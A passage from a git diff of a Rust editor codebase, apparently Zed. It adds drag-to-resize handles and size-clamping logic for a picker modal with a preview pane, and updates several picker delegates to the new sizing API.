+        // The divider only moves the preview; the outer edges are unchanged.
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, _default: &Centered, window: &Window) {
+        shape.center_divider(self.0, window);
+    }
+}
+
+#[derive(Clone, Copy)]
+pub(crate) struct Bottom(pub(crate) Layout);
+impl Side for Bottom {
+    fn cursor(&self) -> CursorStyle {
+        CursorStyle::ResizeRow
+    }
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        _: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        div.left(Self::corner_clearance(window))
+            .right(Self::corner_clearance(window))
+            .h(Self::handle_width(window))
+            .bottom(-Self::handle_offset(window))
+    }
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        if let Layout::Below = self.0 {
+            shape_before.preview += mouse_movement.y;
+        }
+        shape_before.bottom += mouse_movement.y;
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        bounds.clamp_bottom_edge(working, layout, window);
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, _window: &Window) {
+        shape.reset_height(default);
+    }
+}
+#[derive(Clone, Copy)]
+pub(crate) struct LeftCorner(pub(crate) Layout);
+impl Side for LeftCorner {
+    fn cursor(&self) -> CursorStyle {
+        CursorStyle::ResizeUpRightDownLeft
+    }
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        _: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        div.w(Self::handle_width(window))
+            .h(Self::handle_width(window))
+            .left(-Self::handle_offset(window))
+            .bottom(-Self::handle_offset(window))
+    }
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        match self.0 {
+            Layout::Hidden => (),
+            Layout::Below => shape_before.preview += mouse_movement.y,
+            Layout::Right => shape_before.preview += mouse_movement.x,
+        }
+        shape_before.left += mouse_movement.x;
+        shape_before.bottom += mouse_movement.y;
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        bounds.clamp_left_edge(working, layout, window);
+        bounds.clamp_bottom_edge(working, layout, window);
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, _window: &Window) {
+        shape.reset_width(default);
+        shape.reset_height(default);
+    }
+}
+#[derive(Clone, Copy)]
+pub(crate) struct RightCorner(pub(crate) Layout);
+impl Side for RightCorner {
+    fn cursor(&self) -> CursorStyle {
+        CursorStyle::ResizeUpLeftDownRight
+    }
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        _: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        div.w(Self::handle_width(window))
+            .h(Self::handle_width(window))
+            .right(-Self::handle_offset(window))
+            .bottom(-Self::handle_offset(window))
+    }
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        match self.0 {
+            Layout::Hidden => (),
+            Layout::Below => shape_before.preview += mouse_movement.y,
+            Layout::Right => shape_before.preview += mouse_movement.x,
+        }
+        shape_before.right += mouse_movement.x;
+        shape_before.bottom += mouse_movement.y;
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        bounds.clamp_right_edge(working, layout, window);
+        bounds.clamp_bottom_edge(working, layout, window);
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, _window: &Window) {
+        shape.reset_width(default);
+        shape.reset_height(default);
+    }
+}
+
+impl<S: Side> ResizeDrag<S> {
+    fn start_new(
+        shape: Shape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &mut Window,
+    ) -> Self {
+        Self {
+            mouse_pos_before: window.mouse_position(),
+            // Before rendering we always clamp so the current shape may not be
+            // within SizeBounds so use a clamped one
+            shape_before: shape.clamped_position_and_size(layout, bounds, window),
+            phantom_data: PhantomData,
+        }
+    }
+}
+
+impl<D: PickerDelegate> Picker<D> {
+    /// Resizes the picker modal by dragging the handle on the given side or corner
+    pub(crate) fn render_resize<S: Side>(
+        &self,
+        side: S,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        div()
+            .id(S::id())
+            .absolute()
+            .cursor(side.cursor())
+            .map(|this| {
+                side.position(
+                    this,
+                    self.shape.clamped_position_and_size(
+                        self.preview_layout(),
+                        &self.size_bounds,
+                        window,
+                    ),
+                    window,
+                )
+            })
+            .block_mouse_except_scroll()
+            .on_mouse_down(MouseButton::Left, do_nothing)
+            .on_drag(
+                ResizeDrag::<S>::start_new(
+                    self.shape,
+                    &self.size_bounds,
+                    self.preview_layout(),
+                    window,
+                ),
+                |_, _, _, cx| cx.new(|_| DragPreview),
+            )
+            .on_drag_move::<ResizeDrag<S>>(cx.listener(
+                move |this, event: &DragMoveEvent<ResizeDrag<S>>, window, cx| {
+                    let drag = event.drag(cx);
+                    let delta = event.event.position - drag.mouse_pos_before;
+                    let mut working = side.current_position_and_shape(drag.shape_before, delta);
+                    side.clamp(
+                        &mut working,
+                        &this.size_bounds,
+                        this.preview_layout(),
+                        window,
+                    );
+                    this.shape = Shape::Resizing(working);
+                    cx.notify();
+                },
+            ))
+            .on_click(cx.listener(move |this, event: &ClickEvent, window, cx| {
+                this.reset_size_to_default_on_double_click(side, event, window, cx)
+            }))
+    }
+
+    fn reset_size_to_default_on_double_click<S: Side>(
+        &mut self,
+        side: S,
+        event: &ClickEvent,
+        window: &mut Window,
+        cx: &mut Context<Picker<D>>,
+    ) {
+        if event.click_count() < 2 {
+            return;
+        }
+        side.revert_to_default_size(&mut self.shape, &self.default_shape, window);
+        let pos =
+            self.shape
+                .clamped_position_and_size(self.preview_layout(), &self.size_bounds, window);
+        self.shape = Shape::Resizing(pos);
+        cx.notify();
+    }
+}
+
+fn do_nothing(_: &gpui::MouseDownEvent, window: &mut Window, cx: &mut App) {
+    window.prevent_default();
+    cx.stop_propagation();
+}
diff --git a/crates/picker/src/shape.rs b/crates/picker/src/shape.rs
new file mode 100644
index 00000000000000..04c985cb3313fa
--- /dev/null
+++ b/crates/picker/src/shape.rs
@@ -0,0 +1,654 @@
+use gpui::Window;
+use gpui::{Pixels, Rems, Size};
+use ui::{Div, Styled};
+
+use crate::preview::Layout;
+
+#[derive(Debug, Clone, Copy)]
+pub(crate) struct PositionAndShape {
+    /// Absolute position of left most side of the picker
+    pub(crate) left: Pixels,
+    /// Absolute position of right most side of the picker
+    pub(crate) right: Pixels,
+    /// Absolute position of top most side of the picker
+    pub(crate) top: Pixels,
+    /// Absolute position of bottom most side of the picker
+    pub(crate) bottom: Pixels,
+    /// Relative position of divide between results and preview,
+    /// either a height or a width depends on previews layoutmode.
+    /// Should be zero when preview is disabled or hidden
+    pub(crate) preview: Pixels,
+}
+
+macro_rules! relative_size {
+    ($name:ident, $accessor:ident) => {
+        /// Size type that is the sum of a relative size to the viewport and a
+        /// size relative to the font size (Rems). You can
+        /// add/subtract/multiple/divide to your harts content but once you
+        /// need a single unit you must provide a window to get it.
+        #[derive(Debug, Clone, Copy, PartialEq)]
+        pub struct $name {
+            viewport_fraction: f32,
+            rems: Rems,
+        }
+
+        impl From<Rems> for $name {
+            fn from(v: Rems) -> Self {
+                Self::rems(v)
+            }
+        }
+
+        impl $name {
+            pub const FULL: Self = Self {
+                viewport_fraction: 1.0,
+                rems: Rems::ZERO,
+            };
+
+            pub const fn viewport(fraction: f32) -> Self {
+                debug_assert!(fraction <= 1.0);
+                debug_assert!(fraction >= 0.0);
+                Self {
+                    viewport_fraction: fraction.clamp(0.0, 1.0),
+                    rems: Rems::ZERO,
+                }
+            }
+
+            pub const fn rems(val: Rems) -> Self {
+                Self {
+                    viewport_fraction: 0.0,
+                    rems: val,
+                }
+            }
+
+            pub fn as_pixels(&self, window: &Window) -> Pixels {
+                self.viewport_fraction * window.viewport_size().$accessor
+                    + self.rems * window.rem_size()
+            }
+
+            pub fn from_pixels(width: Pixels, window: &Window) -> Self {
+                Self {
+                    viewport_fraction: width / window.viewport_size().$accessor,
+                    rems: Rems::ZERO,
+                }
+            }
+
+            pub fn as_viewport_fraction(&self, window: &Window) -> ViewportFraction {
+                ViewportFraction(
+                    self.viewport_fraction
+                        + self.rems * window.rem_size() / window.viewport_size().$accessor,
+                )
+            }
+        }
+
+        impl std::ops::Add for $name {
+            type Output = Self;
+
+            fn add(self, rhs: Self) -> Self::Output {
+                Self {
+                    viewport_fraction: self.viewport_fraction + rhs.viewport_fraction,
+                    rems: self.rems + rhs.rems,
+                }
+            }
+        }
+
+        impl std::ops::Sub for $name {
+            type Output = Self;
+
+            fn sub(self, rhs: Self) -> Self::Output {
+                Self {
+                    viewport_fraction: self.viewport_fraction - rhs.viewport_fraction,
+                    rems: self.rems - rhs.rems,
+                }
+            }
+        }
+
+        impl std::ops::Sub<Rems> for $name {
+            type Output = Self;
+
+            fn sub(self, rhs: Rems) -> Self::Output {
+                Self {
+                    viewport_fraction: self.viewport_fraction,
+                    rems: self.rems - rhs,
+                }
+            }
+        }
+
+        impl std::ops::Div<f32> for $name {
+            type Output = Self;
+
+            fn div(mut self, rhs: f32) -> Self::Output {
+                self.viewport_fraction /= rhs;
+                self.rems = Rems(self.rems.0 / rhs);
+                self
+            }
+        }
+
+        impl std::ops::Mul<f32> for $name {
+            type Output = Self;
+
+            fn mul(mut self, rhs: f32) -> Self::Output {
+                self.viewport_fraction *= rhs;
+                self.rems = Rems(self.rems.0 * rhs);
+                self
+            }
+        }
+    };
+}
+
+relative_size!(RelativeHeight, height);
+relative_size!(RelativeWidth, width);
+
+#[derive(Debug, Clone, Copy)]
+pub struct ViewportFraction(f32);
+
+impl ViewportFraction {
+    pub(crate) const ZERO: Self = Self(0.0);
+    pub(crate) fn fraction(v: f32) -> Self {
+        debug_assert!(
+            (0.0..=1.0).contains(&v),
+            "ViewportFraction must be between zero and one"
+        );
+        Self(v)
+    }
+
+    pub(crate) fn width_as_pixels(&self, window: &Window) -> Pixels {
+        window.viewport_size().width * self.0
+    }
+    pub(crate) fn height_as_pixels(&self, window: &Window) -> Pixels {
+        window.viewport_size().height * self.0
+    }
+
+    pub(crate) fn from_height_pixels(preview: Pixels, window: &Window) -> Self {
+        Self(preview / window.viewport_size().height)
+    }
+
+    pub(crate) fn from_width_pixels(preview: Pixels, window: &Window) -> Self {
+        Self(preview / window.viewport_size().width)
+    }
+
+    /// Returns the fraction of the viewport that this describes.
+    /// Guaranteed to be between zero and one
+    pub(crate) fn raw(&self) -> f32 {
+        self.0
+    }
+}
+
+impl std::ops::Mul<f32> for ViewportFraction {
+    type Output = Self;
+
+    fn mul(self, rhs: f32) -> Self::Output {
+        Self(self.0 * rhs)
+    }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
+pub(crate) enum VerticalPadding {
+    /// The picker always fills its height even if there are no results
+    #[default]
+    Pad,
+    /// Picker might be shorter then it's height if there is not enough to display
+    None,
+}
+
+#[derive(Debug, Clone, Copy)]
+pub(crate) struct Centered {
+    pub(crate) width: RelativeWidth,
+    pub(crate) height: RelativeHeight,
+    pub(crate) preview_size: ViewportFraction,
+}
+
+#[derive(Debug, Clone, Copy)]
+pub(crate) enum Shape {
+    Resizing(PositionAndShape),
+    /// This may be persisted between zero and three times:
+    /// - for a user resized picker without preview
+    /// - for a user resized picker with preview below
+    /// - for a user resized picker with preview right
+    HorizontallyCentered(Centered),
+}
+
+#[derive(Debug)]
+pub struct SizeBounds {
+    pub(crate) max_width: RelativeWidth,
+    pub(crate) max_height: RelativeHeight,
+    /// Minimum size of the results pane.
+    pub(crate) min_results: Size<Rems>,
+    /// Minimum size of the preview pane. Along the split axis this only needs to
+    /// be large enough to grab the divider and shrink it back.
+    pub(crate) min_preview: Size<Rems>,
+}
+
+impl Default for SizeBounds {
+    fn default() -> Self {
+        Self {
+            max_width: RelativeWidth::viewport(0.95),
+            // Modals are placed at 5 rems from the top we also do not want them to go
+            // over the lower bar so clear another 5 rems there.
+            max_height: (RelativeHeight::FULL - Rems(10.0)) * 0.95,
+            min_results: Size {
+                width: Rems(15.0),
+                height: Rems(20.0),
+            },
+            min_preview: Size {
+                width: Rems(8.0),
+                height: Rems(6.0),
+            },
+        }
+    }
+}
+
+impl SizeBounds {
+    /// Minimum total picker width for the given layout, composed from the
+    /// results and preview minimums (they stack along the split axis and share
+    /// the cross axis).
+    fn min_width(&self, layout: Option<Layout>, window: &Window) -> Pixels {
+        let rem = window.rem_size();
+        let results = self.min_results.width * rem;
+        let preview = self.min_preview.width * rem;
+        match layout {
+            Some(Layout::Right) => results + preview,
+            Some(Layout::Below) => results.max(preview),
+            Some(Layout::Hidden) | None => results,
+        }
+    }
+
+    /// Minimum total picker height for the given layout. See [`Self::min_width`].
+    fn min_height(&self, layout: Option<Layout>, window: &Window) -> Pixels {
+        let rem = window.rem_size();
+        let results = self.min_results.height * rem;
+        let preview = self.min_preview.height * rem;
+        match layout {
+            Some(Layout::Below) => results + preview,
+            Some(Layout::Right) => results.max(preview),
+            Some(Layout::Hidden) | None => results,
+        }
+    }
+
+    /// Clamps a width in pixels to the configured min/max width.
+    pub(crate) fn clamp_width(
+        &self,
+        width: Pixels,
+        layout: Option<Layout>,
+        window: &Window,
+    ) -> Pixels {
+        width
+            .min(self.max_width.as_pixels(window))
+            .max(self.min_width(layout, window))
+    }
+
+    /// Clamps a height in pixels to the configured min/max height.
+    pub(crate) fn clamp_height(
+        &self,
+        height: Pixels,
+        layout: Option<Layout>,
+        window: &Window,
+    ) -> Pixels {
+        height
+            .min(self.max_height.as_pixels(window))
+            .max(self.min_height(layout, window))
+    }
+
+    /// Clamps the picker's width by moving its left edge back into bounds.
+    ///
+    /// For a preview-to-the-right drag the preview is corrected by the same
+    /// amount any snap moves the edge, so the results pane keeps its size at the
+    /// boundary.
+    pub(crate) fn clamp_left_edge(
+        &self,
+        working: &mut PositionAndShape,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        let target_width = self.clamp_width(working.right - working.left, layout, window);
+        let new_left = working.right - target_width;
+        let correction = new_left - working.left;
+        working.left = new_left;
+        if layout == Some(Layout::Right) {
+            working.preview += correction;
+        }
+    }
+
+    /// Clamps the picker's width by moving its right edge back into bounds.
+    /// See [`Self::clamp_left_edge`].
+    pub(crate) fn clamp_right_edge(
+        &self,
+        working: &mut PositionAndShape,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        let target_width = self.clamp_width(working.right - working.left, layout, window);
+        let new_right = working.left + target_width;
+        let correction = new_right - working.right;
+        working.right = new_right;
+        if layout == Some(Layout::Right) {
+            working.preview += correction;
+        }
+    }
+
+    /// Clamps the picker's height by moving its bottom edge back into bounds.
+    /// See [`Self::clamp_left_edge`].
+    pub(crate) fn clamp_bottom_edge(
+        &self,
+        working: &mut PositionAndShape,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        let target_height = self.clamp_height(working.bottom - working.top, layout, window);
+        let new_bottom = working.top + target_height;
+        let correction = new_bottom - working.bottom;
+        working.bottom = new_bottom;
+        if layout == Some(Layout::Below) {
+            working.preview += correction;
+        }
+    }
+
+    /// Clamps the divider between the results and the preview so both panes stay
+    /// above their minimums. Runs last in each side's clamp so the divider gets
+    /// the final say after the outer edges have been bounded.
+    pub(crate) fn clamp_divider(
+        &self,
+        working: &mut PositionAndShape,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        let rem = window.rem_size();
+        let (total, min_preview, min_results) = match layout {
+            Some(Layout::Right) => (
+                working.right - working.left,
+                self.min_preview.width * rem,
+                self.min_results.width * rem,
+            ),
+            Some(Layout::Below) => (
+                working.bottom - working.top,
+                self.min_preview.height * rem,
+                self.min_results.height * rem,
+            ),
+            Some(Layout::Hidden) | None => return,
+        };
+        let max_preview = (total - min_results).max(min_preview);
+        working.preview = working.preview.clamp(min_preview, max_preview);
+    }
+
+    /// Clamps a whole picker rect (results + preview) into bounds: the total size
+    /// against the per-layout min/max, then the divider so both panes keep their
+    /// minimums. Width is clamped about its center, height anchored at the top.
+    ///
+    /// This is idempotent on an already-bounded rect, so it can run on every
+    /// render and drag-start read without shifting an in-bounds shape.
+    pub(crate) fn clamp_position_and_size(
+        &self,
+        working: &mut PositionAndShape,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        let target_width = self.clamp_width(working.right - working.left, layout, window);
+        let center = (working.left + working.right) / 2.0;
+        working.left = center - target_width / 2.0;
+        working.right = center + target_width / 2.0;
+
+        let target_height = self.clamp_height(working.bottom - working.top, layout, window);
+        working.bottom = working.top + target_height;
+
+        self.clamp_divider(working, layout, window);
+    }
+}
+
+impl Shape {
+    pub(crate) fn picker_position_and_size(
+        &self,
+        layout: impl Into<Option<Layout>>,
+        window: &Window,
+    ) -> PositionAndShape {
+        match self {
+            Shape::Resizing(pos) => *pos,
+            Shape::HorizontallyCentered(Centered {
+                width,
+                height,
+                preview_size,
+            }) => PositionAndShape {
+                //        W              V: full width     xxxxx: picker modal
+                // -----xxxxx------      left = (V - W) / 2
+                //     L     R           right = left + W = (V/2 - W/2) + W =  V/2 + W/2
+                left: ((RelativeWidth::FULL - *width) / 2.0).as_pixels(window),
+                right: (RelativeWidth::FULL / 2.0 + *width / 2.0).as_pixels(window),
+                top: Pixels::ZERO,
+                bottom: height.as_pixels(window),
+                preview: match layout.into() {
+                    Some(Layout::Below) => preview_size.height_as_pixels(window),
+                    Some(Layout::Right) => preview_size.width_as_pixels(window),
+                    Some(Layout::Hidden) | None => Pixels::ZERO,
+                },
+            },
+        }
+    }
+
+    /// The picker rect with all bounds applied (total size and divider). This is
+    /// the single source of truth for sizing during render and for seeding a
+    /// drag, so a shape left dirty (e.g. after a layout toggle changes the
+    /// minimums) is sanitized identically everywhere and never jumps on the
+    /// first drag.
+    pub(crate) fn clamped_position_and_size(
+        &self,
+        layout: Option<Layout>,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> PositionAndShape {
+        let mut pos = self.picker_position_and_size(layout, window);
+        bounds.clamp_position_and_size(&mut pos, layout, window);
+        pos
+    }
+
+    pub(crate) fn results_position_and_size(
+        &self,
+        layout: Layout,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> PositionAndShape {
+        let mut pos = self.clamped_position_and_size(Some(layout), bounds, window);
+
+        match layout {
+            Layout::Below => pos.bottom -= pos.preview,
+            Layout::Right => pos.right -= pos.preview,
+            Layout::Hidden => (),
+        }
+        pos
+    }
+
+    pub(crate) fn preview_position_and_size(
+        &self,
+        layout: Layout,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> PositionAndShape {
+        let mut pos = self.clamped_position_and_size(Some(layout), bounds, window);
+
+        match layout {
+            Layout::Below => pos.top = pos.bottom - pos.preview,
+            Layout::Right => pos.left = pos.right - pos.preview,
+            Layout::Hidden => (),
+        }
+        pos
+    }
+
+    /// How far the center of the picker has been moved during dragging
+    /// this allows extending it on one side without the picker centering during
+    /// the resize. The drag is clamped to the size bounds (see
+    /// [`Side::current_position_and_shape`]), so the center stays in bounds too.
+    pub(crate) fn horizontal_offset(&self, window: &Window) -> Pixels {
+        let Shape::Resizing(PositionAndShape { left, right, .. }) = self else {
+            return Pixels::ZERO; // picker should be centered
+        };
+        let center = (*left + *right) / 2.0;
+        let viewport_center = window.viewport_size().width / 2.0;
+        center - viewport_center // shifting the picker by this uncenters it again
+    }
+
+    pub(crate) fn apply_results_size(
+        &self,
+        layout: impl Into<Option<Layout>>,
+        bounds: &SizeBounds,
+        vertical_padding: VerticalPadding,
+        div: Div,
+        window: &Window,
+    ) -> Div {
+        let layout = layout.into();
+        // Work from the total picker size (full) to keep the divider from
+        // growing the picker when dragged.
+        let full = self.clamped_position_and_size(layout, bounds, window);
+        let width = match layout {
+            Some(Layout::Right) => (full.right - full.left) - full.preview,
+            _ => full.right - full.left,
+        };
+        let div = div.w(width);
+        match vertical_padding {
+            VerticalPadding::None => div,
+            VerticalPadding::Pad => {
+                let height = match layout {
+                    Some(Layout::Below) => (full.bottom - full.top) - full.preview,
+                    _ => full.bottom - full.top,
+                };
+                div.h(height)
+            }
+        }
+    }
+
+    pub(crate) fn results_max_height(
+        &self,
+        bounds: &SizeBounds,
+        vertical_padding: VerticalPadding,
+        window: &Window,
+    ) -> Option<Pixels> {
+        match vertical_padding {
+            // No preview when results size themselves (no vertical padding), so
+            // clamp against the results-only minimum.
+            VerticalPadding::None => Some(self.height(None, bounds, window)),
+            VerticalPadding::Pad => None,
+        }
+    }
+
+    /// The clamped total height of the picker for the given layout.
+    pub(crate) fn height(
+        &self,
+        layout: Option<Layout>,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> Pixels {
+        let pos = self.clamped_position_and_size(layout, bounds, window);
+        pos.bottom - pos.top
+    }
+
+    pub(crate) fn apply_height(
+        &self,
+        layout: Option<Layout>,
+        bounds: &SizeBounds,
+        div: Div,
+        window: &Window,
+    ) -> Div {
+        div.h(self.height(layout, bounds, window))
+    }
+
+    pub(crate) fn results_height(
+        &self,
+        layout: Layout,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> Pixels {
+        let pos = self.results_position_and_size(layout, bounds, window);
+        pos.bottom - pos.top
+    }
+
+    pub(crate) fn preview_width(
+        &self,
+        layout: Layout,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> Pixels {
+        let pos = self.preview_position_and_size(layout, bounds, window);
+        pos.right - pos.left
+    }
+
+    pub(crate) fn preview_height(
+        &self,
+        layout: Layout,
+        bounds: &SizeBounds,
+        window: &Window,
+    ) -> Pixels {
+        let pos = self.preview_position_and_size(layout, bounds, window);
+        pos.bottom - pos.top
+    }
+
+    pub(crate) fn centered_and_relative(
+        pos: PositionAndShape,
+        layout: impl Into<Option<Layout>>,
+        window: &Window,
+    ) -> Centered {
+        use Layout as Pl;
+        let preview_size = match layout.into() {
+            Some(Pl::Below) => ViewportFraction::from_height_pixels(pos.preview, window),
+            Some(Pl::Right) => ViewportFraction::from_width_pixels(pos.preview, window),
+            Some(Pl::Hidden) | None => ViewportFraction::ZERO,
+        };
+
+        Centered {
+            width: RelativeWidth::from_pixels(pos.right - pos.left, window),
+            height: RelativeHeight::from_pixels(pos.bottom - pos.top, window),
+            preview_size,
+        }
+    }
+
+    pub(crate) fn set_initial_width(&mut self, w: impl Into<RelativeWidth>) {
+        if let Shape::HorizontallyCentered(Centered { width, .. }) = self {
+            *width = w.into();
+        }
+    }
+
+    pub(crate) fn set_initial_height(&mut self, h: impl Into<RelativeHeight>) {
+        if let Shape::HorizontallyCentered(Centered { height, .. }) = self {
+            *height = h.into();
+        }
+    }
+
+    pub(crate) fn reset_width(&mut self, default: &Centered) {
+        if let Shape::HorizontallyCentered(Centered { width, .. }) = self {
+            *width = default.width;
+        }
+    }
+
+    pub(crate) fn reset_height(&mut self, default: &Centered) {
+        if let Shape::HorizontallyCentered(Centered { height, .. }) = self {
+            *height = default.height;
+        }
+    }
+
+    pub(crate) fn center_divider(&mut self, layout: Layout, window: &Window) {
+        if let Shape::HorizontallyCentered(Centered {
+            width,
+            height,
+            preview_size,
+        }) = self
+        {
+            let total = match layout {
+                Layout::Right => width.as_viewport_fraction(window),
+                Layout::Below => height.as_viewport_fraction(window),
+                Layout::Hidden => return,
+            };
+            *preview_size = total * 0.5;
+        }
+    }
+}
+
+impl Default for Centered {
+    fn default() -> Self {
+        Centered {
+            width: RelativeWidth::viewport(0.6),
+            height: RelativeHeight::viewport(0.6),
+            preview_size: ViewportFraction::fraction(0.3),
+        }
+    }
+}
+
+impl Default for Shape {
+    fn default() -> Self {
+        Self::HorizontallyCentered(Centered::default())
+    }
+}
diff --git a/crates/project/src/project_search.rs b/crates/project/src/project_search.rs
index e865bb4d5cb6c7..600e7aa5932fb6 100644
--- a/crates/project/src/project_search.rs
+++ b/crates/project/src/project_search.rs
@@ -66,19 +66,19 @@ pub struct SearchResultsHandle {
 }
 
 pub struct SearchResults<T> {
-    pub _task_handle: Task<()>,
+    pub task_handle: Task<()>,
     pub rx: Receiver<T>,
 }
 impl SearchResultsHandle {
     pub fn results(self, cx: &mut App) -> SearchResults<SearchResult> {
         SearchResults {
-            _task_handle: (self.trigger_search)(cx),
+            task_handle: (self.trigger_search)(cx),
             rx: self.results,
         }
     }
     pub fn matching_buffers(self, cx: &mut App) -> SearchResults<Entity<Buffer>> {
         SearchResults {
-            _task_handle: (self.trigger_search)(cx),
+            task_handle: (self.trigger_search)(cx),
             rx: self.matching_buffers,
         }
     }
diff --git a/crates/project/src/search_history.rs b/crates/project/src/search_history.rs
index a3b0c0a1bc89ca..c4aa6b62292222 100644
--- a/crates/project/src/search_history.rs
+++ b/crates/project/src/search_history.rs
@@ -120,4 +120,9 @@ impl SearchHistory {
     pub fn len(&self) -> usize {
         self.history.len()
     }
+
+    /// Iterate over history entries from newest to oldest.
+    pub fn iter(&self) -> impl Iterator<Item = &str> {
+        self.history.iter().rev().map(|s| s.as_str())
+    }
 }
diff --git a/crates/project_symbols/src/project_symbols.rs b/crates/project_symbols/src/project_symbols.rs
index 2202ff35e18b2f..3681d84bc81018 100644
--- a/crates/project_symbols/src/project_symbols.rs
+++ b/crates/project_symbols/src/project_symbols.rs
@@ -26,7 +26,7 @@ pub fn init(cx: &mut App) {
                     let handle = cx.entity().downgrade();
                     workspace.toggle_modal(window, cx, move |window, cx| {
                         let delegate = ProjectSymbolsDelegate::new(handle, project);
-                        Picker::uniform_list(delegate, window, cx).width(rems(34.))
+                        Picker::uniform_list(delegate, window, cx).minimum_results_width(rems(34.))
                     })
                 },
             );
@@ -108,6 +108,10 @@ impl ProjectSymbolsDelegate {
 
 impl PickerDelegate for ProjectSymbolsDelegate {
     type ListItem = ListItem;
+
+    fn name() -> &'static str {
+        "project symbols"
+    }
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search project symbols...".into()
     }
diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 27cdeb43daf638..4d0b237964c4e7 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -604,7 +604,6 @@ pub fn add_wsl_distro(
 
 pub struct RecentProjects {
     pub picker: Entity<Picker<RecentProjectsDelegate>>,
-    rem_width: f32,
     _subscriptions: Vec<Subscription>,
 }
 
@@ -633,6 +632,9 @@ impl RecentProjects {
         let picker = cx.new(|cx| {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
+                .minimum_results_width(rems(rem_width))
+                .height(rems(24.))
+                .no_vertical_padding()
                 .show_scrollbar(true)
         });
 
@@ -677,7 +679,6 @@ impl RecentProjects {
         .detach();
         Self {
             picker,
-            rem_width,
             _subscriptions: subscriptions,
         }
     }
@@ -852,7 +853,6 @@ impl Render for RecentProjects {
             .on_action(cx.listener(Self::handle_toggle_open_menu))
             .on_action(cx.listener(Self::handle_remove_selected))
             .on_action(cx.listener(Self::handle_add_to_workspace))
-            .w(rems(self.rem_width))
             .child(self.picker.clone())
     }
 }
@@ -932,6 +932,10 @@ impl EventEmitter<DismissEvent> for RecentProjectsDelegate {}
 impl PickerDelegate for RecentProjectsDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "recent projects"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search projects…".into()
     }
@@ -2569,7 +2573,8 @@ mod tests {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
                 .show_scrollbar(true)
-                .max_height(Some(px(240.).into()))
+                .height(Rems::from_pixels(px(240.0), window))
+                .no_vertical_padding()
         });
         draw(cx);
         (picker, cx)
diff --git a/crates/recent_projects/src/remote_servers.rs b/crates/recent_projects/src/remote_servers.rs
index 86c4b29b80872e..017e7674d1f0c6 100644
--- a/crates/recent_projects/src/remote_servers.rs
+++ b/crates/recent_projects/src/remote_servers.rs
@@ -209,6 +209,10 @@ impl DevContainerPickerDelegate {
 impl PickerDelegate for DevContainerPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "remote dev container picker"
+    }
+
     fn match_count(&self) -> usize {
         self.matching_candidates.len()
     }
@@ -400,7 +404,7 @@ impl ProjectPicker {
 
         let picker = cx.new(|cx| {
             let picker = Picker::uniform_list(delegate, window, cx)
-                .width(rems(34.))
+                .minimum_results_width(rems(34.))
                 .modal(false);
             picker.set_query(&home_dir.to_string(), window, cx);
             picker
diff --git a/crates/recent_projects/src/sidebar_recent_projects.rs b/crates/recent_projects/src/sidebar_recent_projects.rs
index 91b12100296e4f..7435c005c71ec2 100644
--- a/crates/recent_projects/src/sidebar_recent_projects.rs
+++ b/crates/recent_projects/src/sidebar_recent_projects.rs
@@ -134,6 +134,10 @@ impl EventEmitter<DismissEvent> for SidebarRecentProjectsDelegate {}
 impl PickerDelegate for SidebarRecentProjectsDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "sidebar recent projects"
+    }
+
     fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
         "Search projects…".into()
     }
diff --git a/crates/recent_projects/src/wsl_picker.rs b/crates/recent_projects/src/wsl_picker.rs
